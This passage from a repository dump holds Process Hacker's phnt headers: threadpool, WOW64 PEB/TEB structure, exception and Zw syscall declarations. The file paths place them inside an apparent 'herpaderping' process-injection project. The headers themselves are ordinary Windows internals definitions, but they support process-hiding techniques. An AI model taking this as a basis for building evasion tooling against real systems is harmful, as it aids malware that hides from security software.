*IoReturn,\n _In_ HANDLE File,\n _In_ PTP_IO_CALLBACK Callback,\n _Inout_opt_ PVOID Context,\n _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron\n );\n\n// winbase:CloseThreadpoolIo\nNTSYSAPI\nVOID\nNTAPI\nTpReleaseIoCompletion(\n _Inout_ PTP_IO Io\n );\n\n// winbase:StartThreadpoolIo\nNTSYSAPI\nVOID\nNTAPI\nTpStartAsyncIoOperation(\n _Inout_ PTP_IO Io\n );\n\n// winbase:CancelThreadpoolIo\nNTSYSAPI\nVOID\nNTAPI\nTpCancelAsyncIoOperation(\n _Inout_ PTP_IO Io\n );\n\n// winbase:WaitForThreadpoolIoCallbacks\nNTSYSAPI\nVOID\nNTAPI\nTpWaitForIoCompletion(\n _Inout_ PTP_IO Io,\n _In_ LOGICAL CancelPendingCallbacks\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpAllocAlpcCompletion(\n _Out_ PTP_ALPC *AlpcReturn,\n _In_ HANDLE AlpcPort,\n _In_ PTP_ALPC_CALLBACK Callback,\n _Inout_opt_ PVOID Context,\n _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nTpAllocAlpcCompletionEx(\n _Out_ PTP_ALPC *AlpcReturn,\n _In_ HANDLE AlpcPort,\n _In_ PTP_ALPC_CALLBACK_EX Callback,\n _Inout_opt_ PVOID Context,\n _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron\n );\n#endif\n\n// private\nNTSYSAPI\nVOID\nNTAPI\nTpReleaseAlpcCompletion(\n _Inout_ PTP_ALPC Alpc\n );\n\n// private\nNTSYSAPI\nVOID\nNTAPI\nTpWaitForAlpcCompletion(\n _Inout_ PTP_ALPC Alpc\n );\n\n// private\ntypedef enum _TP_TRACE_TYPE\n{\n TpTraceThreadPriority = 1,\n TpTraceThreadAffinity,\n MaxTpTraceType\n} TP_TRACE_TYPE;\n\n// private\nNTSYSAPI\nVOID\nNTAPI\nTpCaptureCaller(\n _In_ TP_TRACE_TYPE Type\n );\n\n// private\nNTSYSAPI\nVOID\nNTAPI\nTpCheckTerminateWorker(\n _In_ HANDLE Thread\n );\n\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntwow64.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTWOW64_H\n#define _NTWOW64_H\n\n#define WOW64_SYSTEM_DIRECTORY \"SysWOW64\"\n#define WOW64_SYSTEM_DIRECTORY_U L\"SysWOW64\"\n#define WOW64_X86_TAG \" (x86)\"\n#define WOW64_X86_TAG_U L\" (x86)\"\n\n// In USER_SHARED_DATA\ntypedef enum _WOW64_SHARED_INFORMATION\n{\n SharedNtdll32LdrInitializeThunk,\n SharedNtdll32KiUserExceptionDispatcher,\n SharedNtdll32KiUserApcDispatcher,\n SharedNtdll32KiUserCallbackDispatcher,\n SharedNtdll32ExpInterlockedPopEntrySListFault,\n SharedNtdll32ExpInterlockedPopEntrySListResume,\n SharedNtdll32ExpInterlockedPopEntrySListEnd,\n SharedNtdll32RtlUserThreadStart,\n SharedNtdll32pQueryProcessDebugInformationRemote,\n SharedNtdll32BaseAddress,\n SharedNtdll32LdrSystemDllInitBlock,\n Wow64SharedPageEntriesCount\n} WOW64_SHARED_INFORMATION;\n\n// 32-bit definitions\n\n#define WOW64_POINTER(Type) ULONG\n\ntypedef struct _RTL_BALANCED_NODE32\n{\n union\n {\n WOW64_POINTER(struct _RTL_BALANCED_NODE *) Children[2];\n struct\n {\n WOW64_POINTER(struct _RTL_BALANCED_NODE *) Left;\n WOW64_POINTER(struct _RTL_BALANCED_NODE *) Right;\n };\n };\n union\n {\n WOW64_POINTER(UCHAR) Red : 1;\n WOW64_POINTER(UCHAR) Balance : 2;\n WOW64_POINTER(ULONG_PTR) ParentValue;\n };\n} RTL_BALANCED_NODE32, *PRTL_BALANCED_NODE32;\n\ntypedef struct _RTL_RB_TREE32\n{\n WOW64_POINTER(PRTL_BALANCED_NODE) Root;\n WOW64_POINTER(PRTL_BALANCED_NODE) Min;\n} RTL_RB_TREE32, *PRTL_RB_TREE32;\n\ntypedef struct _PEB_LDR_DATA32\n{\n ULONG Length;\n BOOLEAN Initialized;\n WOW64_POINTER(HANDLE) SsHandle;\n LIST_ENTRY32 InLoadOrderModuleList;\n LIST_ENTRY32 InMemoryOrderModuleList;\n LIST_ENTRY32 InInitializationOrderModuleList;\n WOW64_POINTER(PVOID) EntryInProgress;\n BOOLEAN ShutdownInProgress;\n WOW64_POINTER(HANDLE) ShutdownThreadId;\n} PEB_LDR_DATA32, *PPEB_LDR_DATA32;\n\ntypedef struct _LDR_SERVICE_TAG_RECORD32\n{\n WOW64_POINTER(struct _LDR_SERVICE_TAG_RECORD *) Next;\n ULONG ServiceTag;\n} LDR_SERVICE_TAG_RECORD32, *PLDR_SERVICE_TAG_RECORD32;\n\ntypedef struct _LDRP_CSLIST32\n{\n WOW64_POINTER(PSINGLE_LIST_ENTRY) Tail;\n} LDRP_CSLIST32, *PLDRP_CSLIST32;\n\ntypedef struct _LDR_DDAG_NODE32\n{\n LIST_ENTRY32 Modules;\n WOW64_POINTER(PLDR_SERVICE_TAG_RECORD) ServiceTagList;\n ULONG LoadCount;\n ULONG LoadWhileUnloadingCount;\n ULONG LowestLink;\n union\n {\n LDRP_CSLIST32 Dependencies;\n SINGLE_LIST_ENTRY32 RemovalLink;\n };\n LDRP_CSLIST32 IncomingDependencies;\n LDR_DDAG_STATE State;\n SINGLE_LIST_ENTRY32 CondenseLink;\n ULONG PreorderNumber;\n} LDR_DDAG_NODE32, *PLDR_DDAG_NODE32;\n\n#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP_32 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY32, DdagNode)\n#define LDR_DATA_TABLE_ENTRY_SIZE_WIN7_32 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY32, BaseNameHashValue)\n#define LDR_DATA_TABLE_ENTRY_SIZE_WIN8_32 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY32, ImplicitPathOptions)\n\ntypedef struct _LDR_DATA_TABLE_ENTRY32\n{\n LIST_ENTRY32 InLoadOrderLinks;\n LIST_ENTRY32 InMemoryOrderLinks;\n union\n {\n LIST_ENTRY32 InInitializationOrderLinks;\n LIST_ENTRY32 InProgressLinks;\n };\n WOW64_POINTER(PVOID) DllBase;\n WOW64_POINTER(PVOID) EntryPoint;\n ULONG SizeOfImage;\n UNICODE_STRING32 FullDllName;\n UNICODE_STRING32 BaseDllName;\n union\n {\n UCHAR FlagGroup[4];\n ULONG Flags;\n struct\n {\n ULONG PackagedBinary : 1;\n ULONG MarkedForRemoval : 1;\n ULONG ImageDll : 1;\n ULONG LoadNotificationsSent : 1;\n ULONG TelemetryEntryProcessed : 1;\n ULONG ProcessStaticImport : 1;\n ULONG InLegacyLists : 1;\n ULONG InIndexes : 1;\n ULONG ShimDll : 1;\n ULONG InExceptionTable : 1;\n ULONG ReservedFlags1 : 2;\n ULONG LoadInProgress : 1;\n ULONG LoadConfigProcessed : 1;\n ULONG EntryProcessed : 1;\n ULONG ProtectDelayLoad : 1;\n ULONG ReservedFlags3 : 2;\n ULONG DontCallForThreads : 1;\n ULONG ProcessAttachCalled : 1;\n ULONG ProcessAttachFailed : 1;\n ULONG CorDeferredValidate : 1;\n ULONG CorImage : 1;\n ULONG DontRelocate : 1;\n ULONG CorILOnly : 1;\n ULONG ChpeImage : 1;\n ULONG ReservedFlags5 : 2;\n ULONG Redirected : 1;\n ULONG ReservedFlags6 : 2;\n ULONG CompatDatabaseProcessed : 1;\n };\n };\n USHORT ObsoleteLoadCount;\n USHORT TlsIndex;\n LIST_ENTRY32 HashLinks;\n ULONG TimeDateStamp;\n WOW64_POINTER(struct _ACTIVATION_CONTEXT *) EntryPointActivationContext;\n WOW64_POINTER(PVOID) Lock;\n WOW64_POINTER(PLDR_DDAG_NODE) DdagNode;\n LIST_ENTRY32 NodeModuleLink;\n WOW64_POINTER(struct _LDRP_LOAD_CONTEXT *) LoadContext;\n WOW64_POINTER(PVOID) ParentDllBase;\n WOW64_POINTER(PVOID) SwitchBackContext;\n RTL_BALANCED_NODE32 BaseAddressIndexNode;\n RTL_BALANCED_NODE32 MappingInfoIndexNode;\n WOW64_POINTER(ULONG_PTR) OriginalBase;\n LARGE_INTEGER LoadTime;\n ULONG BaseNameHashValue;\n LDR_DLL_LOAD_REASON LoadReason;\n ULONG ImplicitPathOptions;\n ULONG ReferenceCount;\n ULONG DependentLoadFlags;\n UCHAR SigningLevel; // since REDSTONE2\n} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;\n\ntypedef struct _CURDIR32\n{\n UNICODE_STRING32 DosPath;\n WOW64_POINTER(HANDLE) Handle;\n} CURDIR32, *PCURDIR32;\n\ntypedef struct _RTL_DRIVE_LETTER_CURDIR32\n{\n USHORT Flags;\n USHORT Length;\n ULONG TimeStamp;\n STRING32 DosPath;\n} RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32;\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS32\n{\n ULONG MaximumLength;\n ULONG Length;\n\n ULONG Flags;\n ULONG DebugFlags;\n\n WOW64_POINTER(HANDLE) ConsoleHandle;\n ULONG ConsoleFlags;\n WOW64_POINTER(HANDLE) StandardInput;\n WOW64_POINTER(HANDLE) StandardOutput;\n WOW64_POINTER(HANDLE) StandardError;\n\n CURDIR32 CurrentDirectory;\n UNICODE_STRING32 DllPath;\n UNICODE_STRING32 ImagePathName;\n UNICODE_STRING32 CommandLine;\n WOW64_POINTER(PVOID) Environment;\n\n ULONG StartingX;\n ULONG StartingY;\n ULONG CountX;\n ULONG CountY;\n ULONG CountCharsX;\n ULONG CountCharsY;\n ULONG FillAttribute;\n\n ULONG WindowFlags;\n ULONG ShowWindowFlags;\n UNICODE_STRING32 WindowTitle;\n UNICODE_STRING32 DesktopInfo;\n UNICODE_STRING32 ShellInfo;\n UNICODE_STRING32 RuntimeData;\n RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS];\n\n WOW64_POINTER(ULONG_PTR) EnvironmentSize;\n WOW64_POINTER(ULONG_PTR) EnvironmentVersion;\n WOW64_POINTER(PVOID) PackageDependencyData;\n ULONG ProcessGroupId;\n ULONG LoaderThreads;\n\n UNICODE_STRING32 RedirectionDllName; // REDSTONE4\n UNICODE_STRING32 HeapPartitionName; // 19H1\n WOW64_POINTER(ULONG_PTR) DefaultThreadpoolCpuSetMasks;\n ULONG DefaultThreadpoolCpuSetMaskCount;\n} RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32;\n\ntypedef struct _PEB32\n{\n BOOLEAN InheritedAddressSpace;\n BOOLEAN ReadImageFileExecOptions;\n BOOLEAN BeingDebugged;\n union\n {\n BOOLEAN BitField;\n struct\n {\n BOOLEAN ImageUsesLargePages : 1;\n BOOLEAN IsProtectedProcess : 1;\n BOOLEAN IsImageDynamicallyRelocated : 1;\n BOOLEAN SkipPatchingUser32Forwarders : 1;\n BOOLEAN IsPackagedProcess : 1;\n BOOLEAN IsAppContainer : 1;\n BOOLEAN IsProtectedProcessLight : 1;\n BOOLEAN IsLongPathAwareProcess : 1;\n };\n };\n WOW64_POINTER(HANDLE) Mutant;\n\n WOW64_POINTER(PVOID) ImageBaseAddress;\n WOW64_POINTER(PPEB_LDR_DATA) Ldr;\n WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters;\n WOW64_POINTER(PVOID) SubSystemData;\n WOW64_POINTER(PVOID) ProcessHeap;\n WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock;\n WOW64_POINTER(PVOID) AtlThunkSListPtr;\n WOW64_POINTER(PVOID) IFEOKey;\n union\n {\n ULONG CrossProcessFlags;\n struct\n {\n ULONG ProcessInJob : 1;\n ULONG ProcessInitializing : 1;\n ULONG ProcessUsingVEH : 1;\n ULONG ProcessUsingVCH : 1;\n ULONG ProcessUsingFTH : 1;\n ULONG ReservedBits0 : 27;\n };\n };\n union\n {\n WOW64_POINTER(PVOID) KernelCallbackTable;\n WOW64_POINTER(PVOID) UserSharedInfoPtr;\n };\n ULONG SystemReserved;\n ULONG AtlThunkSListPtr32;\n WOW64_POINTER(PVOID) ApiSetMap;\n ULONG TlsExpansionCounter;\n WOW64_POINTER(PVOID) TlsBitmap;\n ULONG TlsBitmapBits[2];\n WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase;\n WOW64_POINTER(PVOID) HotpatchInformation;\n WOW64_POINTER(PVOID *) ReadOnlyStaticServerData;\n WOW64_POINTER(PVOID) AnsiCodePageData;\n WOW64_POINTER(PVOID) OemCodePageData;\n WOW64_POINTER(PVOID) UnicodeCaseTableData;\n\n ULONG NumberOfProcessors;\n ULONG NtGlobalFlag;\n\n LARGE_INTEGER CriticalSectionTimeout;\n WOW64_POINTER(SIZE_T) HeapSegmentReserve;\n WOW64_POINTER(SIZE_T) HeapSegmentCommit;\n WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold;\n WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold;\n\n ULONG NumberOfHeaps;\n ULONG MaximumNumberOfHeaps;\n WOW64_POINTER(PVOID *) ProcessHeaps;\n\n WOW64_POINTER(PVOID) GdiSharedHandleTable;\n WOW64_POINTER(PVOID) ProcessStarterHelper;\n ULONG GdiDCAttributeList;\n\n WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock;\n\n ULONG OSMajorVersion;\n ULONG OSMinorVersion;\n USHORT OSBuildNumber;\n USHORT OSCSDVersion;\n ULONG OSPlatformId;\n ULONG ImageSubsystem;\n ULONG ImageSubsystemMajorVersion;\n ULONG ImageSubsystemMinorVersion;\n WOW64_POINTER(ULONG_PTR) ActiveProcessAffinityMask;\n GDI_HANDLE_BUFFER32 GdiHandleBuffer;\n WOW64_POINTER(PVOID) PostProcessInitRoutine;\n\n WOW64_POINTER(PVOID) TlsExpansionBitmap;\n ULONG TlsExpansionBitmapBits[32];\n\n ULONG SessionId;\n\n ULARGE_INTEGER AppCompatFlags;\n ULARGE_INTEGER AppCompatFlagsUser;\n WOW64_POINTER(PVOID) pShimData;\n WOW64_POINTER(PVOID) AppCompatInfo;\n\n UNICODE_STRING32 CSDVersion;\n\n WOW64_POINTER(PVOID) ActivationContextData;\n WOW64_POINTER(PVOID) ProcessAssemblyStorageMap;\n WOW64_POINTER(PVOID) SystemDefaultActivationContextData;\n WOW64_POINTER(PVOID) SystemAssemblyStorageMap;\n\n WOW64_POINTER(SIZE_T) MinimumStackCommit;\n\n WOW64_POINTER(PVOID) SparePointers[4];\n ULONG SpareUlongs[5];\n //WOW64_POINTER(PVOID *) FlsCallback;\n //LIST_ENTRY32 FlsListHead;\n //WOW64_POINTER(PVOID) FlsBitmap;\n //ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];\n //ULONG FlsHighIndex;\n\n WOW64_POINTER(PVOID) WerRegistrationData;\n WOW64_POINTER(PVOID) WerShipAssertPtr;\n WOW64_POINTER(PVOID) pContextData;\n WOW64_POINTER(PVOID) pImageHeaderHash;\n union\n {\n ULONG TracingFlags;\n struct\n {\n ULONG HeapTracingEnabled : 1;\n ULONG CritSecTracingEnabled : 1;\n ULONG LibLoaderTracingEnabled : 1;\n ULONG SpareTracingBits : 29;\n };\n };\n ULONGLONG CsrServerReadOnlySharedMemoryBase;\n WOW64_POINTER(PVOID) TppWorkerpListLock;\n LIST_ENTRY32 TppWorkerpList;\n WOW64_POINTER(PVOID) WaitOnAddressHashTable[128];\n WOW64_POINTER(PVOID) TelemetryCoverageHeader; // REDSTONE3\n ULONG CloudFileFlags;\n ULONG CloudFileDiagFlags; // REDSTONE4\n CHAR PlaceholderCompatibilityMode;\n CHAR PlaceholderCompatibilityModeReserved[7];\n} PEB32, *PPEB32;\n\nC_ASSERT(FIELD_OFFSET(PEB32, IFEOKey) == 0x024);\nC_ASSERT(FIELD_OFFSET(PEB32, UnicodeCaseTableData) == 0x060);\nC_ASSERT(FIELD_OFFSET(PEB32, SystemAssemblyStorageMap) == 0x204);\nC_ASSERT(FIELD_OFFSET(PEB32, pImageHeaderHash) == 0x23c);\nC_ASSERT(FIELD_OFFSET(PEB32, WaitOnAddressHashTable) == 0x25c);\n//C_ASSERT(sizeof(PEB32) == 0x460); // REDSTONE3\nC_ASSERT(sizeof(PEB32) == 0x470);\n\n#define GDI_BATCH_BUFFER_SIZE 310\n\ntypedef struct _GDI_TEB_BATCH32\n{\n ULONG Offset;\n WOW64_POINTER(ULONG_PTR) HDC;\n ULONG Buffer[GDI_BATCH_BUFFER_SIZE];\n} GDI_TEB_BATCH32, *PGDI_TEB_BATCH32;\n\ntypedef struct _TEB32\n{\n NT_TIB32 NtTib;\n\n WOW64_POINTER(PVOID) EnvironmentPointer;\n CLIENT_ID32 ClientId;\n WOW64_POINTER(PVOID) ActiveRpcHandle;\n WOW64_POINTER(PVOID) ThreadLocalStoragePointer;\n WOW64_POINTER(PPEB) ProcessEnvironmentBlock;\n\n ULONG LastErrorValue;\n ULONG CountOfOwnedCriticalSections;\n WOW64_POINTER(PVOID) CsrClientThread;\n WOW64_POINTER(PVOID) Win32ThreadInfo;\n ULONG User32Reserved[26];\n ULONG UserReserved[5];\n WOW64_POINTER(PVOID) WOW32Reserved;\n LCID CurrentLocale;\n ULONG FpSoftwareStatusRegister;\n WOW64_POINTER(PVOID) ReservedForDebuggerInstrumentation[16];\n WOW64_POINTER(PVOID) SystemReserved1[36];\n UCHAR WorkingOnBehalfTicket[8];\n NTSTATUS ExceptionCode;\n\n WOW64_POINTER(PVOID) ActivationContextStackPointer;\n WOW64_POINTER(ULONG_PTR) InstrumentationCallbackSp;\n WOW64_POINTER(ULONG_PTR) InstrumentationCallbackPreviousPc;\n WOW64_POINTER(ULONG_PTR) InstrumentationCallbackPreviousSp;\n BOOLEAN InstrumentationCallbackDisabled;\n UCHAR SpareBytes[23];\n ULONG TxFsContext;\n\n GDI_TEB_BATCH32 GdiTebBatch;\n CLIENT_ID32 RealClientId;\n WOW64_POINTER(HANDLE) GdiCachedProcessHandle;\n ULONG GdiClientPID;\n ULONG GdiClientTID;\n WOW64_POINTER(PVOID) GdiThreadLocalInfo;\n WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62];\n WOW64_POINTER(PVOID) glDispatchTable[233];\n WOW64_POINTER(ULONG_PTR) glReserved1[29];\n WOW64_POINTER(PVOID) glReserved2;\n WOW64_POINTER(PVOID) glSectionInfo;\n WOW64_POINTER(PVOID) glSection;\n WOW64_POINTER(PVOID) glTable;\n WOW64_POINTER(PVOID) glCurrentRC;\n WOW64_POINTER(PVOID) glContext;\n\n NTSTATUS LastStatusValue;\n UNICODE_STRING32 StaticUnicodeString;\n WCHAR StaticUnicodeBuffer[261];\n\n WOW64_POINTER(PVOID) DeallocationStack;\n WOW64_POINTER(PVOID) TlsSlots[64];\n LIST_ENTRY32 TlsLinks;\n\n WOW64_POINTER(PVOID) Vdm;\n WOW64_POINTER(PVOID) ReservedForNtRpc;\n WOW64_POINTER(PVOID) DbgSsReserved[2];\n\n ULONG HardErrorMode;\n WOW64_POINTER(PVOID) Instrumentation[9];\n GUID ActivityId;\n\n WOW64_POINTER(PVOID) SubProcessTag;\n WOW64_POINTER(PVOID) PerflibData;\n WOW64_POINTER(PVOID) EtwTraceData;\n WOW64_POINTER(PVOID) WinSockData;\n ULONG GdiBatchCount;\n\n union\n {\n PROCESSOR_NUMBER CurrentIdealProcessor;\n ULONG IdealProcessorValue;\n struct\n {\n UCHAR ReservedPad0;\n UCHAR ReservedPad1;\n UCHAR ReservedPad2;\n UCHAR IdealProcessor;\n };\n };\n\n ULONG GuaranteedStackBytes;\n WOW64_POINTER(PVOID) ReservedForPerf;\n WOW64_POINTER(PVOID) ReservedForOle;\n ULONG WaitingOnLoaderLock;\n WOW64_POINTER(PVOID) SavedPriorityState;\n WOW64_POINTER(ULONG_PTR) ReservedForCodeCoverage;\n WOW64_POINTER(PVOID) ThreadPoolData;\n WOW64_POINTER(PVOID *) TlsExpansionSlots;\n\n ULONG MuiGeneration;\n ULONG IsImpersonating;\n WOW64_POINTER(PVOID) NlsCache;\n WOW64_POINTER(PVOID) pShimData;\n USHORT HeapVirtualAffinity;\n USHORT LowFragHeapDataSlot;\n WOW64_POINTER(HANDLE) CurrentTransactionHandle;\n WOW64_POINTER(PTEB_ACTIVE_FRAME) ActiveFrame;\n WOW64_POINTER(PVOID) FlsData;\n\n WOW64_POINTER(PVOID) PreferredLanguages;\n WOW64_POINTER(PVOID) UserPrefLanguages;\n WOW64_POINTER(PVOID) MergedPrefLanguages;\n ULONG MuiImpersonation;\n\n union\n {\n USHORT CrossTebFlags;\n USHORT SpareCrossTebBits : 16;\n };\n union\n {\n USHORT SameTebFlags;\n struct\n {\n USHORT SafeThunkCall : 1;\n USHORT InDebugPrint : 1;\n USHORT HasFiberData : 1;\n USHORT SkipThreadAttach : 1;\n USHORT WerInShipAssertCode : 1;\n USHORT RanProcessInit : 1;\n USHORT ClonedThread : 1;\n USHORT SuppressDebugMsg : 1;\n USHORT DisableUserStackWalk : 1;\n USHORT RtlExceptionAttached : 1;\n USHORT InitialThread : 1;\n USHORT SessionAware : 1;\n USHORT LoadOwner : 1;\n USHORT LoaderWorker : 1;\n USHORT SpareSameTebBits : 2;\n };\n };\n\n WOW64_POINTER(PVOID) TxnScopeEnterCallback;\n WOW64_POINTER(PVOID) TxnScopeExitCallback;\n WOW64_POINTER(PVOID) TxnScopeContext;\n ULONG LockCount;\n LONG WowTebOffset;\n WOW64_POINTER(PVOID) ResourceRetValue;\n WOW64_POINTER(PVOID) ReservedForWdf;\n ULONGLONG ReservedForCrt;\n GUID EffectiveContainerId;\n} TEB32, *PTEB32;\n\nC_ASSERT(FIELD_OFFSET(TEB32, ProcessEnvironmentBlock) == 0x030);\nC_ASSERT(FIELD_OFFSET(TEB32, ExceptionCode) == 0x1a4);\nC_ASSERT(FIELD_OFFSET(TEB32, TxFsContext) == 0x1d0);\nC_ASSERT(FIELD_OFFSET(TEB32, glContext) == 0xbf0);\nC_ASSERT(FIELD_OFFSET(TEB32, StaticUnicodeBuffer) == 0xc00);\nC_ASSERT(FIELD_OFFSET(TEB32, TlsLinks) == 0xf10);\nC_ASSERT(FIELD_OFFSET(TEB32, DbgSsReserved) == 0xf20);\nC_ASSERT(FIELD_OFFSET(TEB32, ActivityId) == 0xf50);\nC_ASSERT(FIELD_OFFSET(TEB32, GdiBatchCount) == 0xf70);\nC_ASSERT(FIELD_OFFSET(TEB32, TlsExpansionSlots) == 0xf94);\nC_ASSERT(FIELD_OFFSET(TEB32, FlsData) == 0xfb4);\nC_ASSERT(FIELD_OFFSET(TEB32, MuiImpersonation) == 0xfc4);\nC_ASSERT(FIELD_OFFSET(TEB32, ReservedForCrt) == 0xfe8);\nC_ASSERT(FIELD_OFFSET(TEB32, EffectiveContainerId) == 0xff0);\nC_ASSERT(sizeof(TEB32) == 0x1000);\n\n// Conversion\n\nFORCEINLINE VOID UStr32ToUStr(\n _Out_ PUNICODE_STRING Destination,\n _In_ PUNICODE_STRING32 Source\n )\n{\n Destination->Length = Source->Length;\n Destination->MaximumLength = Source->MaximumLength;\n Destination->Buffer = (PWCH)UlongToPtr(Source->Buffer);\n}\n\nFORCEINLINE VOID UStrToUStr32(\n _Out_ PUNICODE_STRING32 Destination,\n _In_ PUNICODE_STRING Source\n )\n{\n Destination->Length = Source->Length;\n Destination->MaximumLength = Source->MaximumLength;\n Destination->Buffer = PtrToUlong(Source->Buffer);\n}\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntxcapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTXCAPI_H\n#define _NTXCAPI_H\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDispatchException(\n _In_ PEXCEPTION_RECORD ExceptionRecord,\n _In_ PCONTEXT ContextRecord\n );\n\nNTSYSAPI\nDECLSPEC_NORETURN\nVOID\nNTAPI\nRtlRaiseStatus(\n _In_ NTSTATUS Status\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlRaiseException(\n _In_ PEXCEPTION_RECORD ExceptionRecord\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtContinue(\n _In_ PCONTEXT ContextRecord,\n _In_ BOOLEAN TestAlert\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRaiseException(\n _In_ PEXCEPTION_RECORD ExceptionRecord,\n _In_ PCONTEXT ContextRecord,\n _In_ BOOLEAN FirstChance\n );\n\n__analysis_noreturn\nNTSYSCALLAPI\nVOID\nNTAPI\nRtlAssert(\n _In_ PVOID VoidFailedAssertion,\n _In_ PVOID VoidFileName,\n _In_ ULONG LineNumber,\n _In_opt_ PSTR MutableMessage\n );\n\n#define RTL_ASSERT(exp) \\\n ((!(exp)) ? (RtlAssert((PVOID)#exp, (PVOID)__FILE__, __LINE__, NULL), FALSE) : TRUE)\n#define RTL_ASSERTMSG(msg, exp) \\\n ((!(exp)) ? (RtlAssert((PVOID)#exp, (PVOID)__FILE__, __LINE__, msg), FALSE) : TRUE)\n#define RTL_SOFT_ASSERT(_exp) \\\n ((!(_exp)) ? (DbgPrint(\"%s(%d): Soft assertion failed\\n Expression: %s\\n\", __FILE__, __LINE__, #_exp), FALSE) : TRUE)\n#define RTL_SOFT_ASSERTMSG(_msg, _exp) \\\n ((!(_exp)) ? (DbgPrint(\"%s(%d): Soft assertion failed\\n Expression: %s\\n Message: %s\\n\", __FILE__, __LINE__, #_exp, (_msg)), FALSE) : TRUE)\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntzwapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTZWAPI_H\n#define _NTZWAPI_H\n\n// This file was automatically generated. Do not edit.\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAcceptConnectPort(\n _Out_ PHANDLE PortHandle,\n _In_opt_ PVOID PortContext,\n _In_ PPORT_MESSAGE ConnectionRequest,\n _In_ BOOLEAN AcceptConnection,\n _Inout_opt_ PPORT_VIEW ServerView,\n _Out_opt_ PREMOTE_PORT_VIEW ClientView\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAccessCheck(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ HANDLE ClientToken,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ PGENERIC_MAPPING GenericMapping,\n _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet,\n _Inout_ PULONG PrivilegeSetLength,\n _Out_ PACCESS_MASK GrantedAccess,\n _Out_ PNTSTATUS AccessStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAccessCheckAndAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ PUNICODE_STRING ObjectTypeName,\n _In_ PUNICODE_STRING ObjectName,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ PGENERIC_MAPPING GenericMapping,\n _In_ BOOLEAN ObjectCreation,\n _Out_ PACCESS_MASK GrantedAccess,\n _Out_ PNTSTATUS AccessStatus,\n _Out_ PBOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAccessCheckByType(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID PrincipalSelfSid,\n _In_ HANDLE ClientToken,\n _In_ ACCESS_MASK DesiredAccess,\n _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList,\n _In_ ULONG ObjectTypeListLength,\n _In_ PGENERIC_MAPPING GenericMapping,\n _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet,\n _Inout_ PULONG PrivilegeSetLength,\n _Out_ PACCESS_MASK GrantedAccess,\n _Out_ PNTSTATUS AccessStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAccessCheckByTypeAndAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ PUNICODE_STRING ObjectTypeName,\n _In_ PUNICODE_STRING ObjectName,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID PrincipalSelfSid,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ 